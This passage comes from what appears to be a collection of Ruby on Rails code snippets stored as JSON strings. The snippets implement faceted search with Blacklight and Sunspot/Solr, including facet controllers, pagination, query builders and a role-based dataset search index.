)) + helpers.render(@facet_constraint_component.with_collection(clause_presenters.to_a, **@facet_constraint_component_options))\n end", "def results\n filter = params[:filter] || {}\n \n if stale?(base.facet_cache_key)\n\n @results = base.refine(filter).to_a\n\n respond_to do |format|\n format.html { render @results, :layout => false }\n format.json { render :json => @results }\n end\n end\n end", "def facet\n @facet = blacklight_config.facet_fields[params[:id]]\n raise ActionController::RoutingError, 'Not Found' unless @facet\n\n @response = search_service.facet_field_response(@facet.key)\n @display_facet = @response.aggregations[@facet.field]\n\n @presenter = @facet.presenter.new(@facet, @display_facet, view_context)\n @pagination = @presenter.paginator\n respond_to do |format|\n format.html do\n # Draw the partial for the \"more\" facet modal window:\n return render layout: false if request.xhr?\n # Otherwise draw the facet selector for users who have javascript disabled.\n end\n format.json\n end\n end", "def queries\n qrs = []\n self.each_query {|qr| qrs << qr }\n qrs\n end", "def queries\n @requested_queries.map { |key| Gquery.get(key) }.compact\n end", "def test_facet_search_with_query\n records = Electronic.find_with_facet \"memory\", :facets => {:query => [\"price:[* TO 200.00]\",\n \"price:[200.00 TO 500.00]\",\n \"price:[500.00 TO *]\"]},\n :field_types => {:price => :range_float}\n assert_equal 4, records[:docs].size\n assert_equal({\"facet_queries\" => {\"price_rf:[* TO 200.00]\"=>2,\n \"price_rf:[500.00 TO *]\"=>1,\n \"price_rf:[200.00 TO 500.00]\"=>1}, \n \"facet_fields\" => {}}, records[:facets])\n end", "def matching_facets_and_filters\n facets_and_filters = []\n search_facets.each do |search_facet|\n facet = { id: search_facet.identifier, filters: [], db_facet: search_facet }\n filter_query = facet_filters.detect { |f| f.starts_with?(search_facet.identifier) }\n filter_query.split(':').last.split('|').each do |filter|\n matching_filter = search_facet.filters.detect { |f| f[:id] == filter }\n facet[:filters] << matching_filter if matching_filter.present?\n end\n facets_and_filters << facet if facet[:filters].any?\n end\n facets_and_filters\n end", "def filtered_results\n results = PropertyResults.paginated_results(params[:facets], params[:page], params[:per_page], params[:offset], params[:query])\n respond_to do |format|\n format.json { render json: results.to_json }\n end\n end", "def facet\n # raise\n @facet = blacklight_config.facet_fields[params[:id]]\n return render json: nil, status: :bad_request unless @facet\n\n # Allow callers to pass in extra params, that won't be sanitized-out by\n # the processing that 'params' undergoes\n extra_params = params[:extra_params] || {}\n\n @response = get_facet_field_response(@facet.key, params, extra_params)\n @display_facet = @response.aggregations[@facet.key]\n\n @pagination = facet_paginator(@facet, @display_facet)\n\n # 2/23/2017 - turned off after two weeks of data collection (NEXT-908)\n # # 2/7/2017 - get some info on see-more sizes, hopefully to be\n # # turned off pretty soon. Hardcode test to current limit, 500)\n # limit = (@display_facet.items.size == 501) ? ' - HIT LIMIT' : ''\n # Rails.logger.warn \"FACET-SEE-MORE name: #{@display_facet.name} count: #{@display_facet.items.size}#{limit}\"\n\n respond_to do |format|\n # Draw the facet selector for users who have javascript disabled:\n format.html\n format.json { render json: render_facet_list_as_json }\n\n # Draw the partial for the \"more\" facet modal window:\n format.js { render layout: false }\n end\n end", "def initialize(facets, facet_queries)\n @all = []\n\n # Step through the facets\n facets&.each do |f|\n f.items.each do |it|\n next if Integer(it.hits).zero?\n next if it.value.blank?\n @all << Facet.new(field: f.name, value: it.value, hits: it.hits)\n end\n end\n\n # Step through the facet queries\n return unless facet_queries\n facet_queries.each do |k, v|\n next if Integer(v).zero?\n @all << Facet.new(query: k, hits: v)\n end\n end", "def facet\n # raise\n @facet = blacklight_config.facet_fields[params[:id]]\n return render json: nil, status: :bad_request unless @facet\n\n # Allow callers to pass in extra params, that won't be sanitized-out by\n # the processing that 'params' undergoes\n extra_params = params[:extra_params] || {}\n\n @response = get_facet_field_response(@facet.key, params, extra_params)\n @display_facet = @response.aggregations[@facet.key]\n\n @pagination = facet_paginator(@facet, @display_facet)\n\n # 2/23/2017 - turned off after two weeks of data collection (NEXT-908)\n # # 2/7/2017 - get some info on see-more sizes, hopefully to be\n # # turned off pretty soon. Hardcode test to current limit, 500)\n # limit = (@display_facet.items.size == 501) ? ' - HIT LIMIT' : ''\n # Rails.logger.warn \"FACET-SEE-MORE name: #{@display_facet.name} count: #{@display_facet.items.size}#{limit}\"\n\n respond_to do |format|\n # Draw the facet selector for users who have javascript disabled:\n format.html { render layout: false }\n format.json { render json: render_facet_list_as_json }\n\n # Draw the partial for the \"more\" facet modal window:\n format.js { render layout: false }\n end\n end", "def collection_object_query_facet\n return nil if collection_object_query.nil?\n s = 'WITH query_co_da AS (' + collection_object_query.all.to_sql + ') ' +\n ::DataAttribute\n .joins(\"JOIN query_co_da as query_co_da1 on data_attributes.attribute_subject_id = query_co_da1.id AND data_attributes.attribute_subject_type = 'CollectionObject'\")\n .to_sql\n\n ::DataAttribute.from('(' + s + ') as data_attributes').distinct\n end", "def all(query); end", "def facets\n @facets ||= raw_response['facet_counts'] || {}\n end", "def facet_link_list\n # Make sure there are facets\n return ''.html_safe unless Document.facets\n \n # Convert the active facet queries to facets\n active_facets = []\n if params[:fq]\n params[:fq].each do |query|\n active_facets << Document.facets.for_query(query)\n end\n active_facets.compact!\n end\n\n # Start with the active facets\n ret = ''.html_safe\n unless active_facets.empty?\n ret << content_tag(:li, I18n.t('search.index.active_filters'), 'data-role' => 'list-divider')\n ret << content_tag(:li, 'data-icon' => 'delete') do\n facet_link I18n.t('search.index.remove_all'), []\n end\n active_facets.each do |f|\n ret << content_tag(:li, 'data-icon' => 'delete') do\n facet_link \"#{f.field_label}: #{f.label}\", active_facets.reject { |x| x == f }\n end\n end\n end\n\n # Run the facet-list code for all three facet fields\n ret << list_links_for_facet(:authors_facet, I18n.t('search.index.authors_facet'), active_facets)\n ret << list_links_for_facet(:journal_facet, I18n.t('search.index.journal_facet'), active_facets)\n ret << list_links_for_facet(:year, I18n.t('search.index.year_facet'), active_facets)\n ret\n end", "def map_facet_values\n map_facet_field = blacklight_config.view.maps.facet_mode == 'coordinates' ?\n blacklight_config.view.maps.coordinates_facet_field :\n blacklight_config.view.maps.geojson_field\n @response.aggregations[map_facet_field]&.items || []\n end", "def format_query_from_facets(facets = [])\n query = {}.with_indifferent_access\n facets.each do |facet|\n safe_facet = facet.with_indifferent_access\n hca_term = FacetNameConverter.convert_schema_column(:alexandria, :azul, safe_facet[:id])\n next if hca_term.nil?\n\n scp_facet = facet[:db_facet]\n if scp_facet.is_numeric?\n min = safe_facet.dig(:filters, :min)\n max = safe_facet.dig(:filters, :max)\n unit = safe_facet.dig(:filters, :unit)\n min_seconds = scp_facet.calculate_time_in_seconds(base_value: min, unit_label: unit).to_i\n max_seconds = scp_facet.calculate_time_in_seconds(base_value: max, unit_label: unit).to_i\n # since organismAge only works with discrete value, we must convert this to a range query using 'within'\n # within query must have nested array, where min/max values are represented as arrays within query\n # multiple min/max ranges are processed with AND logic\n converted_term = hca_term == 'organismAge' ? 'organismAgeRange' : hca_term\n facet_query = { converted_term => { within: [[min_seconds, max_seconds]] } }\n else\n filter_values = safe_facet[:filters].map { |filter| filter[:name] }\n facet_query = { hca_term => { is: filter_values } }\n end\n if query.key?(hca_term)\n existing_filters = query.dig(hca_term, :is)\n new_query = { hca_term => { is: (existing_filters + facet_query.dig(hca_term, :is)).uniq } }\n query.merge! new_query\n else\n query.merge! facet_query\n end\n end\n query\n end", "def results\n facet_results, _docs = search_service.search_results\n facet_results.facet_fields[IndexesWorkflow.suppressed_field].each_slice(2)\n end", "def data_attribute_query_facet\n return nil if data_attribute_query.nil?\n d = data_attribute_query.all.select(:controlled_vocabulary_term_id).distinct\n s = 'WITH query_cvt_da AS (' + d.to_sql + ') ' +\n ::ControlledVocabularyTerm\n .joins('JOIN query_cvt_da as query_cvt_da1 on query_cvt_da1.controlled_vocabulary_term_id = controlled_vocabulary_terms.id')\n .to_sql\n\n ::ControlledVocabularyTerm.from('(' + s + ') as controlled_vocabulary_terms').distinct\n end", "def index\n\t\tfacets\n\tend", "def search_facet_fields\n self.content_columns.select {|c| [:boolean,:decimal,:float,:integer,:string,:text].include?(c.type) }.map {|c| c.name }\n end", "def facet_field_names\n Blacklight.config[:facet][:field_names]\n end", "def searches\n search_objects.map{ |s| s.query }\n end", "def all\n\t\tquery = (params[:term] || params[:query])\n\t\t\n @search_results = PgSearch\n\t\t\t.multisearch(query)\n\t\t\t.page(params[:page])\n\t\t\n\t\trender 'multi_search'\n\tend", "def add_queries\n add_general_query\n add_title_query\n add_creators_query\n add_series_query\n add_collected_query\n add_tag_name_query\n end", "def to_facet_options\n to_search_options.slice(:select, :with, :conditions, :geo)\n end", "def facet_search_options\n # maxValuesPerFacet: 20,\n personal_search_options.merge(\n facets: '_tags', page: 0, hitsPerPage: 1, tagFilters: ''\n )\n end", "def batch_query\n render nothing: true\n\n # logger.info \"params: \" + params.inspect\n #\n # endpoints_all = Endpoint.all\n # logger.info \"List of all endpoints:\"\n # endpoints_all.each do |endpoint|\n # logger.info ' name: ' + endpoint[:name] + ', url: ' + endpoint[:base_url]\n # end\n\n # Select endpoints using array of endpoint names;\n # Unfortunately, they are not necessarily unique\n endpoint_names = params[:endpoint_names]\n logger.info 'param endpoint_names:' + endpoint_names.inspect\n selected_endpoints = []\n if endpoint_names\n parse_array(endpoint_names).each do |endpoint_name|\n match_ep = Endpoint.find_by_name(endpoint_name)\n if match_ep\n logger.info endpoint_name.to_s + ' matches: ' + match_ep[:name].inspect\n selected_endpoints.push(match_ep)\n else\n logger.info 'WARNING: ' + endpoint_name.to_s + ' has no match!'\n end\n end\n end\n # logger.info 'selected endpoings: ' + selected_endpoints.inspect\n\n\n # users = User.all\n # users.each do |user|\n # logger.info 'username: ' + user[:username]\n # end\n\n # queries_all = Query.all\n # logger.info \"List of all queries:\"\n # queries_all.each do |query|\n # logger.info ' title: ' + query[:title] + ', desc: ' + query[:description]\n # end\n\n # Select query using array of query descriptions;\n # Unfortunately, they are not necessarily unique\n #query_titles = params[:query_titles]\n username = params[:username]\n current_user = User.find_by_username(username)\n if current_user\n query_descriptions = params[:query_descriptions]\n # logger.info 'param query_descriptions:' + query_descriptions.inspect\n selected_queries = []\n if query_descriptions\n parse_array(query_descriptions).each do |query_desc|\n match_query = current_user.queries.find_by_description(query_desc)\n if match_query\n logger.info query_desc + ' matches: ' + match_query[:description].inspect\n selected_queries.push(match_query)\n else\n logger.info 'WARNING: ' + query_desc + ' has no match!'\n end\n end\n end\n end\n # logger.info 'selected queries: ' + selected_queries.inspect\n\n if selected_endpoints && !selected_endpoints.empty? &&\n selected_queries && !selected_queries.empty?\n notify = params[:notification]\n selected_queries.each do |eachQuery|\n #Parallel.each(selected_queries, :in_threads=>15) do |eachQuery|\n # execute the query, and pass in the endpoints and if the user should be notified by email when execution completes\n # logger.info 'title: ' + eachQuery[:title].inspect\n # logger.info 'desc: ' + eachQuery[:description].inspect\n # logger.info 'user_id: ' + eachQuery[:user_id].inspect\n eachQuery.execute(selected_endpoints, notify)\n end\n else\n flash[:alert] = 'Cannot execute a query if no endpoints are provided.'\n end\n end", "def search_results\n # Sunspot search\n @search = Program.search do\n fulltext params[:search] if params[:search].present?\n facet(:program_subjects)\n with(:program_subjects, params[:subject]) if params[:subject].present?\n end\n @programs = @search.results\n end", "def queries\n parse_ga_response(authenticated_service.batch_get_reports(reports_request))\n end", "def index\n @queries = Query.all\n end", "def index\n @queries = Query.all\n end", "def find_by_facet(opts)\n\t\t\t\turl = \"api/v2/interactions/facet\"\n\t\t\t\tget_objects(:get, :interactions, url, opts)\n\t\t\tend", "def aggregations\n @aggregations ||= {}.merge(facet_field_aggregations).merge(facet_query_aggregations).merge(facet_pivot_aggregations).merge(facet_json_aggregations)\n end", "def add_query_facets(primo_central_parameters)\n if primo_central_parameters[:query][:q][:value].is_a? Array\n op = :build\n query = primo_central_parameters[:query][:q][:value]\n else\n op = :new\n query = primo_central_parameters[:query][:q]\n end\n\n pq = Primo::Search::Query.send(op, query)\n pq.facet({\n field: \"rtype\",\n value: \"books\",\n operation: :exclude\n })\n\n primo_central_parameters[:query][:q] = pq\n\n blacklight_params.fetch(:f, {})\n .merge(blacklight_params.fetch(:f_inclusive, {}))\n .each do |field, values|\n # Only facet known fields\n next unless blacklight_config.facet_fields[field.to_s].present?\n values.each do |value|\n primo_central_parameters[:query][:q].facet(\n field: solr_to_primo_facet(field),\n value: value\n )\n end\n end\n end", "def facet_query_count_by_key(facet_query_key)\n facet_queries[facet_query_key.to_s]\n end", "def index\n\t\t@queries = Query.all\n\tend", "def index\n @qs = Q.all\n end", "def all_search\n @results ||= []\n feat_keyword ||= {:name_contains => params[:q]}\n reward_keyword ||= {:partner_business_name_contains => params[:q]}\n\n Feat.search(feat_keyword).all.each do |r|\n @results << r\n end if !Feat.search(feat_keyword).all.nil? && feat_keyword.length > 0\n\n Reward.search(reward_keyword).all.each do |r|\n @results << r\n end if !Reward.search(reward_keyword).all.nil? && reward_keyword.length > 0\n end", "def get_summon_facets\n get_user_summon_facets ||\n get_system_summon_facets ||\n []\n end", "def filters\n mentos(:get_all_filters)\n end", "def active_facets\n\t\t\treturn @selected if @selected\n\t\t\t@selected={}\n\t\t\tfacets.each do |k,v|\n\t\t\t\t@selected[k]=nil\n\t\t\t\tv.each do |f|\n\t\t\t\t@selected[k]=f if f.active_facet?\n\t\t\t\tend\n\t\t\tend\n\t\t\t@selected\n\t\tend", "def all(*vars)\n result = Query.get self, *vars\n result.get_docs\n end", "def results(base_query)\n return base_query if @filters.nil?\n base_query.where @filters\n end", "def search_results(game_type)\n CombinedReplayData.search do\n all do\n any_of do\n with(:p1_rank).between(1..5)\n without(:p1_legend_rank, nil)\n end\n any_of do\n with(:p2_rank).between(1..5)\n without(:p2_legend_rank, nil)\n end\n end\n with(:played_at).greater_than(5.days.ago)\n with(:game_type, game_type)\n facet :p1_class_and_archetype\n facet :p2_class_and_archetype\n end\n end", "def index\n\n per_page = params[:per_page] || 100\n @q = Cg::Kind.ransack(params[:q])\n @data = @q.result()\n @cg_kinds = @data.paginate(:page => params[:page], :per_page => per_page)\n\n\n\n @cg_not_kinds = Cg::Kind.where(is_show:false)\n @cg_select_kinds = Cg::Kind.where(is_show:true)\n @cg_nil_kinds = Cg::Kind.where(is_show:nil)\n end", "def index\n @students = Student.all\n @studentss =@students.page(params[:page]).per(6)\n @search = Student.search do\n keywords params[:query] ,:fields => [:first_name,:last_name,:admission_number,:department ]\n fulltext params[:query] , highlight: true\n keywords params[:query] , highlight: true\n fulltext params[:query] ,:fields => [:first_name,:last_name,:admission_number,:department ] \n paginate(:page => params[:page] || 1, :per_page => 6)\n facet :dept\n with(:dept, params[:department]) if params[:department].present?\n facet :year_admission\n with(:year_admission, params[:year_of_admission]) if params[:year_of_admission].present?\n facet :year_completion\n with(:year_completion, params[:year_of_completion]) if params[:year_of_completion].present?\n end\n @students,@stu = @search.results, @search.results\n @total=@search.total\n end", "def general_facet_names\n facet_field_names - admin_facet_names\n end", "def get_facet_pagination(facet_field, extra_controller_params={})\n solr_params = solr_facet_params(facet_field, extra_controller_params)\n response = Blacklight.solr.find(solr_params)\n\n limit = \n if respond_to?(:facet_list_limit)\n facet_list_limit.to_s.to_i\n elsif solr_params[:\"f.#{facet_field}.facet.limit\"]\n solr_params[:\"f.#{facet_field}.facet.limit\"] - 1\n else\n nil\n end\n \n intended_facets = response.facets.select {|facet| facet.name.include?(facet_field)}.first.items\n intended_paginator = Blacklight::Solr::FacetPaginator.new(intended_facets, \n :prefix => solr_params['facet.prefix'],\n :offset => solr_params['facet.offset'],\n :limit => limit,\n :sort => response[\"responseHeader\"][\"params\"][\"f.#{facet_field}.facet.sort\"] || response[\"responseHeader\"][\"params\"][\"facet.sort\"]\n )\n\n if Blacklight.config[:facet][:a_to_z].has_key? facet_field\n extra_controller_params.delete(Blacklight.config[:facet][:a_to_z][facet_field])\n prefix = extra_controller_params[\"catalog_facet.prefix\"]\n extra_controller_params.delete(\"catalog_facet.prefix\") # in order to retrieve the a-z facet listing\n extra_controller_params[\"catalog_facet.offset\"]=0\n extra_controller_params[\"catalog_facet.sort\"]= \"index\"\n solr_params = solr_facet_params(facet_field, extra_controller_params)\n response = Blacklight.solr.find(solr_params)\n a_to_z_facets = response.facets.select {|facet| facet.name.include?(Blacklight.config[:facet][:a_to_z][facet_field])}.first.items\n a_to_z_paginator = Blacklight::Solr::FacetPaginator.new(a_to_z_facets,\n :prefix => prefix,\n :offset => solr_params['facet.offset'],\n :limit => limit,\n :sort => response[\"responseHeader\"][\"params\"][\"f.#{facet_field}.facet.sort\"] || response[\"responseHeader\"][\"params\"][\"facet.sort\"]\n )\n return { facet_field => intended_paginator, Blacklight.config[:facet][:a_to_z][facet_field] => a_to_z_paginator }\n else\n return intended_paginator\n end\n \n end", "def index\n# @resumes = Resume.all\n# names=@resumes.map(&:name).join(\",\")\n @resumes=Resume.search(params)\n @facets= @resumes.facets\n end", "def all\n @q\n end", "def execute_query(query)\n dimension_names = query.all_dimensions? ? [] :\n query.referenced_dimensions.dup.\n concat(Wonkavision::Analytics.context.global_filters.\n select{ |f| f.dimension?}.map{ |dim_filter| dim_filter.name }).uniq.\n sort{ |a,b| a.to_s <=> b.to_s }\n\n filters = (query.filters + Wonkavision::Analytics.context.global_filters).compact.uniq\n\n fetch_tuples(dimension_names, filters)\n end", "def facet_json\n @facet_json ||= (self['facets'] || {}).select { |k, v| k != 'count' }\n end", "def subqueries\n [\n select_distinct_on,\n # default filters -- all scopes have them\n filter_by_subscription_or_topics,\n filter_by_start_date,\n filter_by_end_date,\n # grouping\n group_distinct_on,\n # ordering for GROUP BY\n order_distinct_on,\n ]\n end", "def index\n\n @datasets = Dataset.where(publication_state: [Databank::PublicationState::RELEASED, Databank::PublicationState::Embargo::FILE, Databank::PublicationState::TempSuppress::FILE, Databank::PublicationState::PermSuppress::FILE]).where(is_test: false) #used for json response\n\n @my_datasets_count = 0\n\n @search = nil\n search_get_facets = nil\n\n if params.has_key?(:per_page)\n per_page = params[:per_page].to_i\n else\n per_page = 25\n end\n\n if current_user&.role\n\n case current_user.role\n when \"admin\"\n\n search_get_facets = Dataset.search do\n without(:depositor, 'error')\n with(:is_most_recent_version, true)\n keywords(params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:depositor)\n facet(:subject_text)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n end\n\n @search = Dataset.search do\n\n without(:depositor, 'error')\n\n if params.has_key?('license_codes')\n any_of do\n params['license_codes'].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?('subjects')\n any_of do\n params['subjects'].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?('depositors')\n any_of do\n params['depositors'].each do |depositor_netid|\n with :depositor_netid, depositor_netid\n end\n end\n end\n\n if params.has_key?('funder_codes')\n any_of do\n params['funder_codes'].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n\n if params.has_key?('visibility_codes')\n any_of do\n params['visibility_codes'].each do |visibility_code|\n with :visibility_code, visibility_code\n end\n end\n end\n\n if params.has_key?('publication_years')\n any_of do\n params['publication_years'].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n keywords (params[:q])\n\n if params.has_key?('sort_by')\n if params['sort_by'] == 'sort_updated_asc'\n order_by :updated_at, :asc\n elsif params['sort_by'] == 'sort_released_asc'\n order_by :release_datetime, :asc\n elsif params['sort_by'] == 'sort_released_desc'\n order_by :release_datetime, :desc\n elsif params['sort_by'] == 'sort_ingested_asc'\n order_by :ingest_datetime, :asc\n elsif params['sort_by'] == 'sort_ingested_desc'\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n\n facet(:license_code)\n facet(:funder_codes)\n facet(:depositor)\n facet(:subject_text)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n\n end\n\n # this makes a row for each category, even if the current search does not have any results in a category\n # these facets are only for admins\n\n search_get_facets.facet(:visibility_code).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:visibility_code).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:visibility_code).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:depositor).rows.each do |outer_row|\n has_this_row = false\n\n @search.facet(:depositor).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:depositor).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n\n when \"depositor\"\n\n current_netid = current_user.email.split(\"@\").first\n\n search_get_my_facets = Dataset.search do\n all_of do\n without(:depositor, 'error')\n any_of do\n with :depositor_email, current_user.email\n with :internal_editor_netids, current_netid\n end\n with(:is_most_recent_version, true)\n with :is_test, false\n any_of do\n with :publication_state, Databank::PublicationState::DRAFT\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::METADATA\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n end\n end\n keywords(params[:q])\n facet(:visibility_code)\n\n end\n\n search_get_facets = Dataset.search do\n\n all_of do\n without(:depositor, 'error')\n with(:is_test, false)\n any_of do\n with :depositor_email, current_user.email\n with :internal_editor_netids, current_netid\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n all_of do\n with :depositor_email, current_user.email\n with :publication_state, Databank::PublicationState::TempSuppress::METADATA\n end\n all_of do\n with :internal_editor_netids, current_netid\n with :publication_state, Databank::PublicationState::TempSuppress::METADATA\n end\n end\n end\n\n keywords (params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n end\n\n @search = Dataset.search do\n\n all_of do\n without(:depositor, 'error')\n with :is_test, false\n any_of do\n with :depositor_email, current_user.email\n with :internal_editor_netids, current_netid\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n end\n\n if params.has_key?('depositors')\n any_of do\n params['depositors'].each do |depositor_netid|\n with :depositor_netid, depositor_netid\n end\n end\n end\n\n if params.has_key?('subjects')\n any_of do\n params['subjects'].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?('license_codes')\n any_of do\n params['license_codes'].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?('funder_codes')\n any_of do\n params['funder_codes'].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n\n if params.has_key?('visibility_codes')\n any_of do\n params['visibility_codes'].each do |visibility_code|\n with :visibility_code, visibility_code\n end\n end\n end\n\n if params.has_key?('publication_years')\n any_of do\n params['publication_years'].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n end\n\n keywords (params[:q])\n if params.has_key?('sort_by')\n if params['sort_by'] == 'sort_updated_asc'\n order_by :updated_at, :asc\n elsif params['sort_by'] == 'sort_released_asc'\n order_by :release_datetime, :asc\n elsif params['sort_by'] == 'sort_released_desc'\n order_by :release_datetime, :desc\n elsif params['sort_by'] == 'sort_ingested_asc'\n order_by :ingest_datetime, :asc\n elsif params['sort_by'] == 'sort_ingested_desc'\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n facet(:license_code)\n facet(:funder_codes)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n\n end\n\n # this gets all categories for facets, even if current results do not have any instances\n\n search_get_my_facets.facet(:visibility_code).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:visibility_code).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:visibility_code).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n else\n\n search_get_facets = Dataset.search do\n all_of do\n without(:depositor, 'error')\n with(:is_most_recent_version, true)\n with :is_test, false\n without :hold_state, Databank::PublicationState::TempSuppress::METADATA\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n with :publication_state, Databank::PublicationState::PermSuppress::FILE\n end\n end\n\n keywords (params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n end\n\n @search = Dataset.search do\n\n all_of do\n\n without(:depositor, 'error')\n with(:is_test, false)\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n end\n\n if params.has_key?('depositors')\n any_of do\n params['depositors'].each do |depositor|\n with :depositor, depositor\n end\n end\n end\n\n if params.has_key?('subjects')\n any_of do\n params['subjects'].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?('publication_years')\n any_of do\n params['publication_years'].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n if params.has_key?('license_codes')\n any_of do\n params['license_codes'].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?('funder_codes')\n any_of do\n params['funder_codes'].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n end\n\n keywords (params[:q])\n if params.has_key?('sort_by')\n if params['sort_by'] == 'sort_updated_asc'\n order_by :updated_at, :asc\n elsif params['sort_by'] == 'sort_released_asc'\n order_by :release_datetime, :asc\n elsif params['sort_by'] == 'sort_released_desc'\n order_by :release_datetime, :desc\n elsif params['sort_by'] == 'sort_ingested_asc'\n order_by :ingest_datetime, :asc\n elsif params['sort_by'] == 'sort_ingested_desc'\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n\n end\n end\n\n else\n\n search_get_facets = Dataset.search do\n\n all_of do\n without(:depositor, 'error')\n with(:is_most_recent_version, true)\n with :is_test, false\n without :hold_state, Databank::PublicationState::TempSuppress::METADATA\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n end\n end\n\n keywords (params[:q])\n facet(:license_code)\n facet(:funder_codes)\n facet(:subject_text)\n facet(:creator_names)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n end\n\n @search = Dataset.search do\n\n all_of do\n without(:depositor, 'error')\n with(:is_most_recent_version, true)\n with :is_test, false\n without :hold_state, Databank::PublicationState::TempSuppress::METADATA\n any_of do\n with :publication_state, Databank::PublicationState::RELEASED\n with :publication_state, Databank::PublicationState::Embargo::FILE\n with :publication_state, Databank::PublicationState::TempSuppress::FILE\n end\n\n\n if params.has_key?('license_codes')\n any_of do\n params['license_codes'].each do |license_code|\n with :license_code, license_code\n end\n end\n end\n\n if params.has_key?('publication_years')\n any_of do\n params['publication_years'].each do |publication_year|\n with :publication_year, publication_year\n end\n end\n end\n\n if params.has_key?('subjects')\n any_of do\n params['subjects'].each do |subject|\n with :subject_text, subject\n end\n end\n end\n\n if params.has_key?('funder_codes')\n any_of do\n params['funder_codes'].each do |funder_code|\n with :funder_codes, funder_code\n end\n end\n end\n end\n\n keywords (params[:q])\n if params.has_key?('sort_by')\n if params['sort_by'] == 'sort_updated_asc'\n order_by :updated_at, :asc\n elsif params['sort_by'] == 'sort_released_asc'\n order_by :release_datetime, :asc\n elsif params['sort_by'] == 'sort_released_desc'\n order_by :release_datetime, :desc\n elsif params['sort_by'] == 'sort_ingested_asc'\n order_by :ingest_datetime, :asc\n elsif params['sort_by'] == 'sort_ingested_desc'\n order_by :ingest_datetime, :desc\n else\n order_by :updated_at, :desc\n end\n else\n order_by :updated_at, :desc\n end\n facet(:license_code)\n facet(:funder_codes)\n facet(:creator_names)\n facet(:subject_text)\n facet(:depositor)\n facet(:visibility_code)\n facet(:hold_state)\n facet(:datafile_extensions)\n facet(:publication_year)\n\n paginate(page: params[:page] || 1, per_page: per_page)\n\n end\n\n end\n\n # this makes a row for each category, even if the current search does not have any results in a category\n # these facets are in all searchers\n\n search_get_facets.facet(:subject_text).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:subject_text).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:subject_text).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:publication_year).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:publication_year).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:publication_year).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:license_code).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:license_code).rows.each do 